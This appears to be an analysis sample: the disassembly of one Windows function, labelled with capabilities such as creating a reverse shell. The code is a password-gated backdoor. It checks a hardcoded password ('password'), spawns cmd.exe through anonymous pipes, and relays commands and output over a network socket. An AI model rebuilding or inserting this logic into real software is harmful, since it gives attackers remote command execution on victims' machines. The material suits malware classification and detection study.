Function at 0x401561
Capabilities:
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Download and write a file
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x5c4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], str.Enter_password:
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0xff
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jle 0x4019fe
lea edx, [ebp - 0x118]
mov eax, dword [ebp - 0x18]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x18]
lea edx, [eax - 1]
lea eax, [ebp - 0x118]
add eax, edx
mov dword [ebp - 0xc], eax
jmp 0x401608
mov eax, dword [ebp - 0xc]
lea edx, [eax - 1]
mov dword [ebp - 0xc], edx
mov byte [eax], 0
lea eax, [ebp - 0x118]
cmp dword [ebp - 0xc], eax
jb 0x401631
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0xd
je 0x4015fc
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0xa
je 0x4015fc
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x20
je 0x4015fc
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov dword [esp], str.Received_password:__s_n
call sym._printf
mov dword [esp + 4], str.password_
mov dword [esp], str.Expected_password:__s_n
call sym._printf
mov dword [esp + 4], str.password_
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4019d6
mov dword [ebp - 0x134], 0xc
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 1
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x134]
mov dword [esp + 8], eax
lea eax, [ebp - 0x120]
mov dword [esp + 4], eax
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._CreatePipe_16
sub esp, 0x10
test eax, eax
je 0x4016f9
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x134]
mov dword [esp + 8], eax
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
lea eax, [ebp - 0x124]
mov dword [esp], eax
call sym._CreatePipe_16
sub esp, 0x10
test eax, eax
jne 0x40173d
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x19
mov dword [esp + 4], str.Failed_to_create_pipes._n
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._free
jmp 0x401a3d
mov eax, dword [ebp - 0x120]
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], eax
call sym._SetHandleInformation_12
sub esp, 0xc
mov eax, dword [ebp - 0x124]
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], eax
call sym._SetHandleInformation_12
sub esp, 0xc
lea edx, [ebp - 0x590]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x590], 0x44
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x558], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x554], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x564]
or ah, 1
mov dword [ebp - 0x564], eax
lea eax, [ebp - 0x144]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x590]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd.exe
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
je 0x4019ae
mov eax, dword [ebp - 0x11c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x128]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x3ff
lea eax, [ebp - 0x54c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jle 0x4018c8
lea edx, [ebp - 0x54c]
mov eax, dword [ebp - 0x18]
add eax, edx
mov byte [eax], 0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x120]
mov dword [esp + 0x10], 0
lea ecx, [ebp - 0x14c]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
lea edx, [ebp - 0x54c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x124]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x148]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x3ff
lea edx, [ebp - 0x54c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
test eax, eax
jne 0x40190b
mov eax, dword [ebp - 0x148]
test eax, eax
je 0x401943
mov eax, dword [ebp - 0x148]
mov byte [ebp + eax - 0x54c], 0
mov eax, dword [ebp - 0x148]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x54c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
cmp dword [ebp - 0x18], 0
je 0x40194e
jmp 0x401855
nop
mov eax, dword [ebp - 0x120]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x124]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x144]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x144]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x140]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x401a24
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x22
mov dword [esp + 4], str.Failed_to_start_command_prompt._n
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
jmp 0x401a24
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x15
mov dword [esp + 4], str.Incorrect_password._n
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
jmp 0x401a24
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1c
mov dword [esp + 4], str.Failed_to_receive_password._n
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._free
mov edi, dword [ebp - 4]
leave
ret